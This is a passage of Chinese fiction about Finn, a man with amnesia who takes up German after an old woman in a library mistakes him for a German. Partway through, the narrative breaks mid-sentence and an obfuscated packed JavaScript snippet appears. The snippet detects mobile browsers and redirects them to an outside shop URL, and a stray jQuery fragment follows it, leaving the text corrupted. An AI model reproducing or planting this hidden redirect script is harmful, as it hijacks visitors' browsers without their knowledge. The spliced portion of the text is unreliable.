事情始于图书馆一次美丽的误会。
那天，芬恩像往常一样，在分类归还推车前整理书籍。一位满头银发、气质严谨的老太太抱着一摞德文艺术史画册走过来，看到他的侧脸时，明显愣了一下。她用带着口音的德语试探着问：
“Entschuldigung… Sprechen Sie Deutsch?（打扰一下……您会说德语吗？）”
芬恩抬起头，冰蓝色的眼睛里是纯粹的茫然。老太太这才回过神，有些抱歉地笑了笑：“噢，请原谅。你长得……非常像我在慕尼黑的孙子。典型的北德相貌，金发，蓝眼，像从老油画里走出来的。我还以为在这里遇到了小老乡。”
慕尼黑。孙子。北德相貌。
这些词像几颗陌生的种子，无意间撒在了他荒芜的记忆冻土上。自己有德国血统吗？
这个念头本身并无依据——他对自己父母的容貌、故乡，甚至自己的本名都一片空白。但老太太那句话，像一道强光，骤然照亮了他从未审视过的自身：这头发的颜色，这眼睛的色泽，这骨骼的轮廓……原来在他人眼中，这被称为“北德相貌”。
一种奇异的感觉攫住了他。这感觉并非记忆的复苏，而更像一个考古学家，第一次触摸到自己这具躯体可能蕴含的、沉默的“文明密码”。他的脸，或许是他与那个被遗忘的过去之间，唯一未被雪崩掩埋的、活生生的“出土文物”。
“不，我不会。” 他听见自己用“约翰·史密斯”式礼貌而疏离的声音回答。但鬼使神差地，他多问了一句：“德语……难学吗？”
老太太眼睛一亮，仿佛找到了可以短暂分享乡愁的对象：“对于有条理的头脑来说，德语是最精密的语言之一。它有清晰的规则，像一座结构严谨的建筑。” 她指了指自己那摞书，“这些书里藏着另一个世界。如果你感兴趣，语言区在Aisle 7。”
这只是一次不足两分钟的交谈。老太太很快离开了，留下芬恩站在原地。
精密的。有规则的。结构严谨的。另一个世界。
这些词，精准地击中了他内心最深的渴望——对他而言，混乱即是危险，未知即是恐惧。而“精密”与“规则”，恰恰是他正在数学和逻辑中拼命寻找的、用以对抗整个世界混沌的武器。
更重要的是，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179339|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这次“误认”给了他一种奇特的、非理性的暗示：他与那个“有规则的世界”之间，或许存在一种天然的、写在容貌上的潜在联系。这联系虚无缥缈，毫无实证，却比任何理性的规划都更有力地牵引着他。学习德语，不再仅仅是掌握一门工具，而变成了一次对自身这具“躯体文物”的破译，一次向着那束偶然照见自身来历的光源，小心翼翼的跋涉。
从那天起，他的“课表”里正式加入了德语。最初，驱动他的是一种模糊的、连自己都无法命名的溯源冲动。但随着深入，他真正着迷了。德语的框型结构、严谨的格位变化，像一把严丝合缝的钥匙，转动了他心中某把生锈的锁。每一个变位正确的动词，都带来一种近乎于确认自身存在秩序的安定感。
于是，那间廉价公寓，在他的打理和这种新获得的精神坐标的支撑下，才真正变成了他人生中第一个，也是最后一个“玻璃温室”。在这里，他靠着语法规则和数学公式，为自己构筑了一个短暂而脆弱的、有迹可循的世界。而他并不知道，几天后一次寻常的午后归途，将用最野蛮的方式，向他证明这温室之外，在这里是真实运行的、弱肉强食的铁律。